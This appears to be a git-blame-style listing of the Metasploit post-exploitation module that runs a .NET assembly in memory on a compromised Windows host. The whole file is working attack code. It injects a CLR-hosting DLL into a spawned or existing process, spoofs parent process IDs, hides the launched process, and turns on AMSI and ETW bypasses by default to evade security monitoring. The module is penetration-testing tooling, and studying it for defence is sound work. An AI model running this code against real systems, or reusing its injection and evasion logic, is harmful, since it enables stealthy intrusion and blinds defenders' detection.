2019-10-05 18:34:40 +02:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Post
2020-02-23 13:18:54 +01:00
2019-10-05 18:34:40 +02:00
include Msf :: Post :: File
2023-06-21 11:56:50 +10:00
include Msf :: Exploit :: Retry
2019-10-05 18:34:40 +02:00
include Msf :: Post :: Windows :: Priv
include Msf :: Post :: Windows :: Process
include Msf :: Post :: Windows :: ReflectiveDLLInjection
2020-04-08 16:48:17 -05:00
include Msf :: Post :: Windows :: Dotnet
2019-10-05 18:34:40 +02:00
def initialize ( info = { } )
2020-04-16 02:04:17 +01:00
super (
update_info (
info ,
'Name' = > 'Execute .net Assembly (x64 only)' ,
2020-05-01 13:47:17 -05:00
'Description' = > %q{
2023-06-21 11:56:50 +10:00
This module executes a .NET assembly in memory. It
2020-05-01 13:47:17 -05:00
reflectively loads a dll that will host CLR, then it copies
2023-06-21 11:56:50 +10:00
the assembly to be executed into memory. Credits for AMSI
2020-05-01 13:47:17 -05:00
bypass to Rastamouse (@_RastaMouse)
2020-04-16 02:04:17 +01:00
} ,
'License' = > MSF_LICENSE ,
'Author' = > 'b4rtik' ,
'Arch' = > [ ARCH_X64 ] ,
'Platform' = > 'win' ,
'SessionTypes' = > [ 'meterpreter' ] ,
2023-06-21 11:56:50 +10:00
'Targets' = > [ [ 'Windows x64' , { 'Arch' = > ARCH_X64 } ] ] ,
2020-10-29 22:49:41 +01:00
'References' = > [ [ 'URL' , 'https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session/' ] ] ,
2021-10-06 13:43:31 +01:00
'DefaultTarget' = > 0 ,
'Compat' = > {
'Meterpreter' = > {
'Commands' = > %w[
stdapi_sys_process_attach
stdapi_sys_process_execute
stdapi_sys_process_get_processes
stdapi_sys_process_getpid
stdapi_sys_process_kill
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_write
stdapi_sys_process_thread_create
]
}
2023-02-03 18:12:53 +00:00
} ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'SideEffects' = > [ IOC_IN_LOGS ] ,
'Reliability' = > [ ]
2021-10-06 13:43:31 +01:00
}
2020-04-16 02:04:17 +01:00
)
)
2023-06-21 11:56:50 +10:00
spawn_condition = [ 'TECHNIQUE' , '==' , 'SPAWN_AND_INJECT' ]
inject_condition = [ 'TECHNIQUE' , '==' , 'INJECT' ]
2019-10-05 18:34:40 +02:00
register_options (
[
2023-06-21 11:56:50 +10:00
OptEnum . new ( 'TECHNIQUE' , [ true , 'Technique for executing assembly' , 'SELF' , [ 'SELF' , 'INJECT' , 'SPAWN_AND_INJECT' ] ] ) ,
2020-04-09 00:39:34 +02:00
OptPath . new ( 'DOTNET_EXE' , [ true , 'Assembly file name' ] ) ,
2019-10-05 18:34:40 +02:00
OptString . new ( 'ARGUMENTS' , [ false , 'Command line arguments' ] ) ,
2023-06-21 11:56:50 +10:00
OptBool . new ( 'AMSIBYPASS' , [ true , 'Enable AMSI bypass' , true ] ) ,
OptBool . new ( 'ETWBYPASS' , [ true , 'Enable ETW bypass' , true ] ) ,
OptString . new ( 'PROCESS' , [ false , 'Process to spawn' , 'notepad.exe' ] , conditions : spawn_condition ) ,
OptBool . new ( 'USETHREADTOKEN' , [ false , 'Spawn process using the current thread impersonation' , true ] , conditions : spawn_condition ) ,
OptInt . new ( 'PPID' , [ false , 'Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)' , nil ] , conditions : spawn_condition ) ,
OptInt . new ( 'PID' , [ false , 'PID to inject into' , nil ] , conditions : inject_condition ) ,
2019-10-05 18:34:40 +02:00
] , self . class
)
2020-02-23 13:18:54 +01:00
2020-02-23 13:11:39 +01:00
register_advanced_options (
[
2023-06-21 11:56:50 +10:00
OptBool . new ( 'KILL' , [ true , 'Kill the launched process at the end of the task' , true ] , conditions : spawn_condition )
2020-02-23 13:11:39 +01:00
]
)
2023-06-21 11:56:50 +10:00
self . terminate_process = false
self . hprocess = nil
self . handles_to_close = [ ]
2019-10-05 18:34:40 +02:00
end
2020-04-16 02:04:17 +01:00
2020-04-09 13:36:19 +02:00
def find_required_clr ( exe_path )
filecontent = File . read ( exe_path ) . bytes
2020-04-16 02:04:17 +01:00
sign = 'v4.0.30319' . bytes
filecontent . each_with_index do | _item , index |
2020-04-09 13:36:19 +02:00
sign . each_with_index do | subitem , indexsub |
2020-04-17 23:08:50 +02:00
break if subitem . to_s ( 16 ) != filecontent [ index + indexsub ] . to_s ( 16 )
if indexsub == 9
2020-05-01 13:47:17 -05:00
vprint_status ( 'CLR version required: v4.0.30319' )
2020-04-17 23:08:50 +02:00
return 'v4.0.30319'
2020-04-09 13:36:19 +02:00
end
end
end
2020-05-01 13:47:17 -05:00
vprint_status ( 'CLR version required: v2.0.50727' )
2020-04-17 23:08:50 +02:00
'v2.0.50727'
2020-04-09 13:36:19 +02:00
end
2020-04-11 11:06:52 +02:00
2020-04-09 13:36:19 +02:00
def check_requirements ( clr_req , installed_dotnet_versions )
2020-04-16 02:04:17 +01:00
installed_dotnet_versions . each do | fi |
if clr_req == 'v4.0.30319'
if fi [ 0 ] == '4'
vprint_status ( 'Requirements ok' )
2020-04-09 13:36:19 +02:00
return true
end
2023-06-21 11:56:50 +10:00
elsif clr_req == 'v2.0.50727'
if fi [ 0 ] == '3' || fi [ 0 ] == '2'
vprint_status ( 'Requirements ok' )
return true
end
2020-04-09 13:36:19 +02:00
end
end
2020-05-01 13:47:17 -05:00
print_error ( 'Required dotnet version not present' )
2020-04-17 23:08:50 +02:00
false
2020-04-09 13:36:19 +02:00
end
2020-04-11 11:06:52 +02:00
2019-10-05 18:34:40 +02:00
def run
2020-04-17 23:08:50 +02:00
exe_path = datastore [ 'DOTNET_EXE' ]
2023-06-21 11:56:50 +10:00
2020-04-17 23:08:50 +02:00
unless File . file? ( exe_path )
fail_with ( Failure :: BadConfig , 'Assembly not found' )
end
2020-04-08 16:48:17 -05:00
installed_dotnet_versions = get_dotnet_versions
vprint_status ( " Dot Net Versions installed on target: #{ installed_dotnet_versions } " )
if installed_dotnet_versions == [ ]
2020-04-16 02:04:17 +01:00
fail_with ( Failure :: BadConfig , 'Target has no .NET framework installed' )
2020-04-08 16:48:17 -05:00
end
2020-04-17 23:08:50 +02:00
rclr = find_required_clr ( exe_path )
if check_requirements ( rclr , installed_dotnet_versions ) == false
2020-04-16 02:04:17 +01:00
fail_with ( Failure :: BadConfig , 'CLR required for assembly not installed' )
2020-04-09 13:36:19 +02:00
end
2023-06-21 11:56:50 +10:00
if sysinfo . nil?
fail_with ( Failure :: BadConfig , 'Session invalid' )
else
print_status ( " Running module against #{ sysinfo [ 'Computer' ] } " )
end
execute_assembly ( exe_path , rclr )
end
def cleanup
2023-06-25 22:12:22 +10:00
if terminate_process && ! hprocess . nil? && ! hprocess . pid . nil?
2023-06-21 11:56:50 +10:00
print_good ( " Killing process #{ hprocess . pid } " )
2023-06-25 22:12:22 +10:00
begin
client . sys . process . kill ( hprocess . pid )
rescue Rex :: Post :: Meterpreter :: RequestError = > e
print_warning ( " Error while terminating process: #{ e } " )
print_warning ( 'Process may already have terminated' )
end
2023-06-21 11:56:50 +10:00
end
handles_to_close . each ( & :close )
2019-10-05 18:34:40 +02:00
end
def sanitize_process_name ( process_name )
2020-02-23 13:11:39 +01:00
if process_name . split ( / / ) . last ( 4 ) . join . eql? '.exe'
out_process_name = process_name
else
2021-02-24 20:24:57 +00:00
" #{ process_name } .exe "
2020-02-23 13:11:39 +01:00
end
2019-10-05 18:34:40 +02:00
out_process_name
end
def pid_exists ( pid )
2020-02-23 13:11:39 +01:00
host_processes = client . sys . process . get_processes
2020-04-16 02:04:17 +01:00
if host_processes . empty?
print_bad ( 'No running processes found on the target host.' )
2020-02-23 13:11:39 +01:00
return false
end
2020-04-16 02:04:17 +01:00
theprocess = host_processes . find { | x | x [ 'pid' ] == pid }
2020-02-23 13:11:39 +01:00
! theprocess . nil?
2019-10-05 18:34:40 +02:00
end
def launch_process
2023-06-21 11:56:50 +10:00
if datastore [ 'PROCESS' ] . nil?
fail_with ( Failure :: BadConfig , 'Spawn and inject selected, but no process was specified' )
end
ppid_selected = datastore [ 'PPID' ] != 0 && ! datastore [ 'PPID' ] . nil?
if ppid_selected && ! pid_exists ( datastore [ 'PPID' ] )
fail_with ( Failure :: BadConfig , " Process #{ datastore [ 'PPID' ] } was not found " )
elsif ppid_selected
2020-03-29 00:19:25 +01:00
print_status ( " Spoofing PPID #{ datastore [ 'PPID' ] } " )
end
2023-06-21 11:56:50 +10:00
2019-10-05 18:34:40 +02:00
process_name = sanitize_process_name ( datastore [ 'PROCESS' ] )
print_status ( " Launching #{ process_name } to host CLR... " )
2020-04-17 23:08:50 +02:00
2023-06-25 22:12:22 +10:00
begin
process = client . sys . process . execute ( process_name , nil , {
'Channelized' = > false ,
'Hidden' = > true ,
'UseThreadToken' = > ! ( ! datastore [ 'USETHREADTOKEN' ] ) ,
'ParentPid' = > datastore [ 'PPID' ]
} )
hprocess = client . sys . process . open ( process . pid , PROCESS_ALL_ACCESS )
rescue Rex :: Post :: Meterpreter :: RequestError = > e
fail_with ( Failure :: BadConfig , " Unable to launch process: #{ e } " )
end
2019-10-05 18:34:40 +02:00
print_good ( " Process #{ hprocess . pid } launched. " )
2023-06-21 11:56:50 +10:00
hprocess
2019-10-05 18:34:40 +02:00
end
def inject_hostclr_dll ( process )
print_status ( " Reflectively injecting the Host DLL into #{ process . pid } .. " )
2020-04-13 18:20:20 -05:00
library_path = :: File . join ( Msf :: Config . data_directory , 'post' , 'execute-dotnet-assembly' , 'HostingCLRx64.dll' )
2019-10-05 18:34:40 +02:00
library_path = :: File . expand_path ( library_path )
print_status ( " Injecting Host into #{ process . pid } ... " )
2023-06-23 09:42:35 +10:00
# Memory management note: this memory is freed by the C++ code itself upon completion
# of the assembly
inject_dll_into_process ( process , library_path )
2019-10-05 18:34:40 +02:00
end
2023-06-21 11:56:50 +10:00
def open_process ( pid )
if ( pid == 0 ) || pid . nil?
fail_with ( Failure :: BadConfig , 'Inject technique selected, but no PID set' )
end
2020-03-29 00:19:25 +01:00
if pid_exists ( pid )
2023-06-21 11:56:50 +10:00
print_status ( " Opening handle to process #{ pid } ... " )
2023-06-25 22:12:22 +10:00
begin
hprocess = client . sys . process . open ( pid , PROCESS_ALL_ACCESS )
rescue Rex :: Post :: Meterpreter :: RequestError = > e
fail_with ( Failure :: BadConfig , " Unable to access process #{ pid } : #{ e } " )
end
2020-03-29 00:19:25 +01:00
print_good ( 'Handle opened' )
2023-06-21 11:56:50 +10:00
hprocess
2020-03-29 00:19:25 +01:00
else
2023-06-25 22:12:22 +10:00
fail_with ( Failure :: BadConfig , 'PID not found' )
2020-03-29 00:19:25 +01:00
end
2019-10-05 18:34:40 +02:00
end
2023-06-21 11:56:50 +10:00
def check_process_suitability ( pid )
2023-06-22 16:05:48 +10:00
process = session . sys . process . each_process . find { | i | i [ 'pid' ] == pid }
if process . nil?
fail_with ( Failure :: BadConfig , 'PID not found' )
end
arch = process [ 'arch' ]
2023-06-21 11:56:50 +10:00
if arch != ARCH_X64
fail_with ( Failure :: BadConfig , 'execute_dotnet_assembly currently only supports x64 processes' )
2020-03-29 00:19:25 +01:00
end
2023-06-21 11:56:50 +10:00
end
2020-03-29 00:19:25 +01:00
2023-06-21 11:56:50 +10:00
def execute_assembly ( exe_path , clr_version )
if datastore [ 'TECHNIQUE' ] == 'SPAWN_AND_INJECT'
self . hprocess = launch_process
self . terminate_process = datastore [ 'KILL' ]
check_process_suitability ( hprocess . pid )
2020-02-23 13:11:39 +01:00
else
2023-06-21 11:56:50 +10:00
if datastore [ 'TECHNIQUE' ] == 'INJECT'
inject_pid = datastore [ 'PID' ]
elsif datastore [ 'TECHNIQUE' ] == 'SELF'
inject_pid = client . sys . process . getpid
end
check_process_suitability ( inject_pid )
self . hprocess = open_process ( inject_pid )
2020-02-23 13:11:39 +01:00
end
2023-06-21 11:56:50 +10:00
handles_to_close . append ( hprocess )
2023-06-25 22:12:22 +10:00
begin
exploit_mem , offset = inject_hostclr_dll ( hprocess )
pipe_suffix = Rex :: Text . rand_text_alphanumeric ( 8 )
pipe_name = " \\ \\ . \\ pipe \\ #{ pipe_suffix } "
appdomain_name = Rex :: Text . rand_text_alpha ( 9 )
vprint_status ( " Connecting with CLR via #{ pipe_name } " )
vprint_status ( " Running in new AppDomain: #{ appdomain_name } " )
assembly_mem = copy_assembly ( pipe_name , appdomain_name , clr_version , exe_path , hprocess )
rescue Rex :: Post :: Meterpreter :: RequestError = > e
fail_with ( Failure :: PayloadFailed , " Error while allocating memory: #{ e } " )
end
2019-10-05 18:34:40 +02:00
print_status ( 'Executing...' )
2023-06-21 11:56:50 +10:00
begin
thread = hprocess . thread . create ( exploit_mem + offset , assembly_mem )
handles_to_close . append ( thread )
pipe = nil
retry_until_truthy ( timeout : 15 ) do
pipe = client . fs . file . open ( pipe_name )
true
rescue Rex :: Post :: Meterpreter :: RequestError = > e
if e . code != Msf :: WindowsError :: FILE_NOT_FOUND
# File not found is expected, since the pipe may not be set up yet.
# Any other error would be surprising.
vprint_error ( " Error while attaching to named pipe: #{ e . inspect } " )
end
false
end
2019-10-05 18:34:40 +02:00
2023-06-21 11:56:50 +10:00
if pipe . nil?
fail_with ( Failure :: PayloadFailed , 'Unable to connect to output stream' )
end
2019-11-12 20:21:17 +01:00
2023-06-21 11:56:50 +10:00
basename = File . basename ( datastore [ 'DOTNET_EXE' ] )
dir = Msf :: Config . log_directory + File :: SEPARATOR + 'dotnet'
unless Dir . exist? ( dir )
Dir . mkdir ( dir )
end
logfile = dir + File :: SEPARATOR + " log_ #{ basename } _ #{ Time . now . strftime ( '%Y%m%d%H%M%S' ) } "
read_output ( pipe , logfile )
# rubocop:disable Lint/RescueException
rescue Rex :: Post :: Meterpreter :: RequestError = > e
fail_with ( Failure :: PayloadFailed , e . message )
rescue :: Exception = > e
# rubocop:enable Lint/RescueException
unless terminate_process
# We don't provide a trigger to the assembly to self-terminate, so it will continue on its merry way.
# Because named pipes don't have an infinite buffer, if too much additional output is provided by the
# assembly, it will block until we read it. So it could hang at an unpredictable location.
# Also, since we can't confidently clean up the memory of the DLL that may still be running, there
# will also be a memory leak.
reason = 'terminating due to exception'
if e . is_a? ( :: Interrupt )
reason = 'interrupted'
end
2020-02-23 13:11:39 +01:00
2023-06-21 11:56:50 +10:00
print_warning ( '****' )
print_warning ( " Execution #{ reason } . Assembly may still be running. However, as we are no longer retrieving output, it may block at an unpredictable location. " )
print_warning ( '****' )
end
raise
2019-10-05 18:34:40 +02:00
end
print_good ( 'Execution finished.' )
end
2023-06-21 11:56:50 +10:00
def copy_assembly ( pipe_name , appdomain_name , clr_version , exe_path , process )
2019-10-05 18:34:40 +02:00
print_status ( " Host injected. Copy assembly into #{ process . pid } ... " )
2023-06-21 11:56:50 +10:00
# Structure:
# - Packed metadata (string/data lengths, flags)
# - Pipe Name
# - Appdomain Name
# - CLR Version
# - Param data
# - Assembly data
2019-11-12 20:05:32 +01:00
assembly_size = File . size ( exe_path )
2020-10-29 22:49:41 +01:00
2020-11-09 12:24:55 -05:00
cln_params = ''
2023-06-19 12:36:32 +10:00
cln_params << datastore [ 'ARGUMENTS' ] unless datastore [ 'ARGUMENTS' ] . nil?
2020-10-29 22:49:41 +01:00
cln_params << " \x00 "
2023-06-21 11:56:50 +10:00
pipe_name = pipe_name . encode ( :: Encoding :: ASCII_8BIT )
appdomain_name = appdomain_name . encode ( :: Encoding :: ASCII_8BIT )
clr_version = clr_version . encode ( :: Encoding :: ASCII_8BIT )
2020-11-09 12:24:55 -05:00
params = [
2023-06-21 11:56:50 +10:00
pipe_name . bytesize ,
appdomain_name . bytesize ,
clr_version . bytesize ,
2020-11-09 12:24:55 -05:00
cln_params . length ,
2023-06-21 11:56:50 +10:00
assembly_size ,
2020-11-09 12:24:55 -05:00
datastore [ 'AMSIBYPASS' ] ? 1 : 0 ,
datastore [ 'ETWBYPASS' ] ? 1 : 0 ,
2023-06-19 12:36:32 +10:00
] . pack ( 'IIIIICC' )
2023-06-21 11:56:50 +10:00
2023-06-27 09:56:35 +10:00
payload = params
payload += pipe_name
payload += appdomain_name
payload += clr_version
payload += cln_params
payload += File . read ( exe_path )
payload_size = payload . length
2019-10-05 18:34:40 +02:00
2023-06-23 09:42:35 +10:00
# Memory management note: this memory is freed by the C++ code itself upon completion
# of the assembly
2023-06-27 09:56:35 +10:00
allocated_memory = process . memory . allocate ( payload_size , PROT_READ | PROT_WRITE )
process . memory . write ( allocated_memory , payload )
2019-10-05 18:34:40 +02:00
print_status ( 'Assembly copied.' )
2023-06-21 11:56:50 +10:00
allocated_memory
2019-10-05 18:34:40 +02:00
end
2023-06-21 11:56:50 +10:00
def read_output ( pipe , logfilename )
2019-10-05 18:34:40 +02:00
print_status ( 'Start reading output' )
2023-06-21 11:56:50 +10:00
print_status ( " Writing output to #{ logfilename } " )
logfile = File . open ( logfilename , 'wb' )
2020-02-23 13:11:39 +01:00
2019-10-05 18:34:40 +02:00
begin
2019-11-12 20:21:17 +01:00
loop do
2023-06-21 11:56:50 +10:00
output = pipe . read ( 1024 )
2020-04-16 02:04:17 +01:00
if ! output . nil? && ! output . empty?
2023-06-21 11:56:50 +10:00
print ( output )
logfile . write ( output )
2020-02-23 13:11:39 +01:00
end
2020-04-16 02:04:17 +01:00
break if output . nil? || output . empty?
2019-10-05 18:34:40 +02:00
end
2020-04-17 23:08:50 +02:00
rescue :: StandardError = > e
2020-02-23 13:11:39 +01:00
print_error ( " Exception: #{ e . inspect } " )
2019-10-05 18:34:40 +02:00
end
2023-06-21 11:56:50 +10:00
logfile . close
2019-10-05 18:34:40 +02:00
print_status ( 'End output.' )
end
2023-06-21 11:56:50 +10:00
2023-06-23 09:42:35 +10:00
attr_accessor :terminate_process , :hprocess , :handles_to_close
2020-04-08 16:48:17 -05:00
end